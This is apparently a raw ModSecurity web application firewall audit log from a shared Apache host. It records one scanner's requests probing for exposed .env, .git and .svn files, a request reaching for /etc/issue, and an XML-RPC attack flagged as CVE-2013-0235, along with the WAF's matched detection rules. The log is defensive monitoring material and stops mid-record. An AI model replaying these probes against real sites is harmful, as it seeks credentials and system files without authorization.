Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/app.config"] [unique_id "aE9Na3wHSJGQ1A1pR0qYTgAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027627646857 702371 (- - -) Stopwatch2: 1750027627646857 702371; combined=2139, p1=397, p2=1639, p3=0, p4=0, p5=102, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7a8ba01e-Z-- --4c391224-A-- [16/Jun/2025:04:17:09.387491 +0530] aE9NbPNXjUHq-Wm7C_8WZgAAAAQ 185.177.72.210 58988 127.0.0.1 7081 --4c391224-B-- GET /docker/compose/withPostgres/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4c391224-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2295062fe6d7a2de6aa0088ffa9f01ba1750027629; expires=Sun, 15 Jun 2025 23:47:09 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4c391224-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/docker/compose/withPostgres/.env"] [unique_id "aE9NbPNXjUHq-Wm7C_8WZgAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027628711858 675696 (- - -) Stopwatch2: 1750027628711858 675696; combined=1990, p1=480, p2=1421, p3=0, p4=0, p5=88, sr=113, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4c391224-Z-- --1ac9c43d-A-- [16/Jun/2025:04:17:12.124846 +0530] aE9Nb_NXjUHq-Wm7C_8WZwAAAAQ 185.177.72.210 50676 127.0.0.1 7081 --1ac9c43d-B-- GET /:8080/front-empathy/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1ac9c43d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7db367d221b04145bb9e58dbf45907281750027631; expires=Sun, 15 Jun 2025 23:47:11 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1ac9c43d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/front-empathy/.env"] [unique_id "aE9Nb_NXjUHq-Wm7C_8WZwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027631434639 690294 (- - -) Stopwatch2: 1750027631434639 690294; combined=2465, p1=521, p2=1840, p3=0, p4=0, p5=103, sr=131, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1ac9c43d-Z-- --3b07c86f-A-- [16/Jun/2025:04:17:18.801319 +0530] aE9NdlxTdrwJSUMoZvGynwAAAAc 185.177.72.210 51002 127.0.0.1 7081 --3b07c86f-B-- GET /:10000/app/konfig/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3b07c86f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=33c2a2ada6749bd048f91833497d8b8e1750027638; expires=Sun, 15 Jun 2025 23:47:18 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3b07c86f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/app/konfig/.env"] [unique_id "aE9NdlxTdrwJSUMoZvGynwAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027638118039 683356 (- - -) Stopwatch2: 1750027638118039 683356; combined=1767, p1=480, p2=1191, p3=0, p4=0, p5=96, sr=106, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3b07c86f-Z-- --93e48904-A-- [16/Jun/2025:04:17:58.066611 +0530] aE9NnfNXjUHq-Wm7C_8WegAAAAQ 66.249.72.129 58768 127.0.0.1 7081 --93e48904-B-- POST /?ob=open-bridge/events HTTP/1.0 Host: www.retaxis.com X-Real-IP: 66.249.72.129 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 406 Accept-Language: en-US Content-Type: text/plain;charset=UTF-8 Cookie: _sfs_id=8c752a5e87fc040f07d9b85899448ac61749988825; _fbp=fb.1.1749945600055.17991876015955610 Origin: https://www.retaxis.com Referer: https://www.retaxis.com/portfolio/auzaro-b2b-multivendor-marketplace/ Accept: */* From: googlebot(at)googlebot.com User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.7103.113 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) Accept-Encoding: gzip, deflate, br --93e48904-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.2.28 Vary: Origin,Accept-Encoding Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: https://www.retaxis.com Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 Set-Cookie: PHPSESSID=dcs0ilrnsp92jh9f76h5mdnm30; expires=Sat, 13 Sep 2025 22:47:57 GMT; Max-Age=7776000; path=/; domain=www.retaxis.com; HttpOnly; SameSite=lax Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --93e48904-E-- --93e48904-H-- Message: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||www.retaxis.com|F|2"] [data "TX:0=text/plain"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Message: Warning. Operator GE matched 5 at TX:incoming_points. [file "/etc/apache2/modsecurity.d/rules/comodo_free/20_Outgoing_FiltersEnd.conf"] [line "35"] [id "214930"] [rev "1"] [msg "COMODO WAF: Inbound Points Exceeded|Total Incoming Points: 5|www.retaxis.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "FiltersEnd"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||www.retaxis.com|F|2"] [data "TX:0=text/plain"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.retaxis.com"] [uri "/"] [unique_id "aE9NnfNXjUHq-Wm7C_8WegAAAAQ"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator GE matched 5 at TX:incoming_points. [file "/etc/apache2/modsecurity.d/rules/comodo_free/20_Outgoing_FiltersEnd.conf"] [line "35"] [id "214930"] [rev "1"] [msg "COMODO WAF: Inbound Points Exceeded|Total Incoming Points: 5|www.retaxis.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "FiltersEnd"] [hostname "www.retaxis.com"] [uri "/index.php"] [unique_id "aE9NnfNXjUHq-Wm7C_8WegAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/retaxis.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027677050237 1016471 (- - -) Stopwatch2: 1750027677050237 1016471; combined=2982, p1=420, p2=2290, p3=102, p4=35, p5=134, sr=89, sw=1, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --93e48904-Z-- --ccfe2d43-A-- [16/Jun/2025:04:18:05.384897 +0530] aE9NpB-kH31pk4mNbsVHMgAAAAo 128.199.112.101 58180 127.0.0.1 7081 --ccfe2d43-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --ccfe2d43-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --ccfe2d43-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9NpB-kH31pk4mNbsVHMgAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027684399243 985710 (- - -) Stopwatch2: 1750027684399243 985710; combined=2840, p1=495, p2=1907, p3=64, p4=69, p5=188, sr=134, sw=117, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ccfe2d43-Z-- --3f087428-A-- [16/Jun/2025:04:18:23.546529 +0530] aE9NtlxTdrwJSUMoZvGyvQAAAAc 185.177.72.210 60192 127.0.0.1 7081 --3f087428-B-- GET /bak/.svn/ HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3f087428-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=44e44ebf9df9bdc791e893f49550dcea1750027703; expires=Sun, 15 Jun 2025 23:48:23 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3f087428-H-- Message: Warning. Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/bak/.svn/"] [unique_id "aE9NtlxTdrwJSUMoZvGyvQAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027702843029 703562 (- - -) Stopwatch2: 1750027702843029 703562; combined=1891, p1=381, p2=1426, p3=0, p4=0, p5=83, sr=99, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3f087428-Z-- --437e186b-A-- [16/Jun/2025:04:18:29.283949 +0530] aE9NvLBfUm2FdhH5voEQrwAAAAU 185.177.72.210 60408 127.0.0.1 7081 --437e186b-B-- GET /:8443/stag/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --437e186b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e04baec539cf9c2ecc5e65d5e2a02c9d1750027709; expires=Sun, 15 Jun 2025 23:48:29 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --437e186b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/stag/.env"] [unique_id "aE9NvLBfUm2FdhH5voEQrwAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027708584504 699506 (- - -) Stopwatch2: 1750027708584504 699506; combined=1630, p1=314, p2=1224, p3=0, p4=0, p5=91, sr=77, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --437e186b-Z-- --8c9f3854-A-- [16/Jun/2025:04:18:32.733469 +0530] aE9NwH2GhYywD7zZgx4CjgAAAAM 185.177.72.210 58708 127.0.0.1 7081 --8c9f3854-B-- GET /tmp/.env.production HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8c9f3854-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1f539d50e9a66e3bcf090a0445a7f4ba1750027712; expires=Sun, 15 Jun 2025 23:48:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8c9f3854-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/tmp/.env.production"] [unique_id "aE9NwH2GhYywD7zZgx4CjgAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027712085584 647948 (- - -) Stopwatch2: 1750027712085584 647948; combined=1698, p1=312, p2=1298, p3=0, p4=0, p5=88, sr=72, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8c9f3854-Z-- --9f57106a-A-- [16/Jun/2025:04:18:34.898371 +0530] aE9NwlxTdrwJSUMoZvGywgAAAAc 185.177.72.210 58824 127.0.0.1 7081 --9f57106a-B-- GET /:8008/configura/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9f57106a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e55953e7ee212c32f13f78459218ce601750027714; expires=Sun, 15 Jun 2025 23:48:34 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9f57106a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/configura/.env"] [unique_id "aE9NwlxTdrwJSUMoZvGywgAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027714250303 648132 (- - -) Stopwatch2: 1750027714250303 648132; combined=1835, p1=361, p2=1390, p3=0, p4=0, p5=84, sr=87, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9f57106a-Z-- --286f007d-A-- [16/Jun/2025:04:18:48.827331 +0530] aE9N0PNXjUHq-Wm7C_8WnAAAAAQ 185.177.72.210 45806 127.0.0.1 7081 --286f007d-B-- GET /eam/vib?id=/etc/issue HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --286f007d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=bff9e0101071ada64b31f054697ebe1d1750027728; expires=Sun, 15 Jun 2025 23:48:48 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --286f007d-H-- Message: Warning. Match of "contains cpanel" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.mindscan.edu.in|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /eam/vib?id=/etc/issue"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Matched phrase "etc/issue" at ARGS:id. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.mindscan.edu.in|F|2"] [data "Matched Data: etc/issue found within ARGS:id: /etc/issue"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Message: Warning. Operator GE matched 5 at TX:incoming_points. [file "/etc/apache2/modsecurity.d/rules/comodo_free/20_Outgoing_FiltersEnd.conf"] [line "35"] [id "214930"] [rev "1"] [msg "COMODO WAF: Inbound Points Exceeded|Total Incoming Points: 5|www.mindscan.edu.in|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "FiltersEnd"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "contains cpanel" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.mindscan.edu.in|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /eam/vib?id=/etc/issue"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/eam/vib"] [unique_id "aE9N0PNXjUHq-Wm7C_8WnAAAAAQ"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/issue" at ARGS:id. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.mindscan.edu.in|F|2"] [data "Matched Data: etc/issue found within ARGS:id: /etc/issue"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.mindscan.edu.in"] [uri "/eam/vib"] [unique_id "aE9N0PNXjUHq-Wm7C_8WnAAAAAQ"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator GE matched 5 at TX:incoming_points. [file "/etc/apache2/modsecurity.d/rules/comodo_free/20_Outgoing_FiltersEnd.conf"] [line "35"] [id "214930"] [rev "1"] [msg "COMODO WAF: Inbound Points Exceeded|Total Incoming Points: 5|www.mindscan.edu.in|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "FiltersEnd"] [hostname "www.mindscan.edu.in"] [uri "/index.php"] [unique_id "aE9N0PNXjUHq-Wm7C_8WnAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027728151529 675867 (- - -) Stopwatch2: 1750027728151529 675867; combined=2690, p1=428, p2=2081, p3=0, p4=0, p5=180, sr=154, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --286f007d-Z-- --20159b25-A-- [16/Jun/2025:04:18:49.836050 +0530] aE9N0VxTdrwJSUMoZvGy1gAAAAc 185.177.72.210 45846 127.0.0.1 7081 --20159b25-B-- GET /.git/refs/remotes/origin/HEAD HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --20159b25-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6006302da53987280e677e995d8336bc1750027729; expires=Sun, 15 Jun 2025 23:48:49 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --20159b25-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.git/refs/remotes/origin/HEAD"] [unique_id "aE9N0VxTdrwJSUMoZvGy1gAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027729172656 663468 (- - -) Stopwatch2: 1750027729172656 663468; combined=1949, p1=425, p2=1427, p3=0, p4=0, p5=96, sr=107, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --20159b25-Z-- --420a0c70-A-- [16/Jun/2025:04:19:02.861181 +0530] aE9N3salTF-TysO2fMOANQAAAAE 185.177.72.210 48790 127.0.0.1 7081 --420a0c70-B-- GET /tmp/.env.staging HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --420a0c70-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: 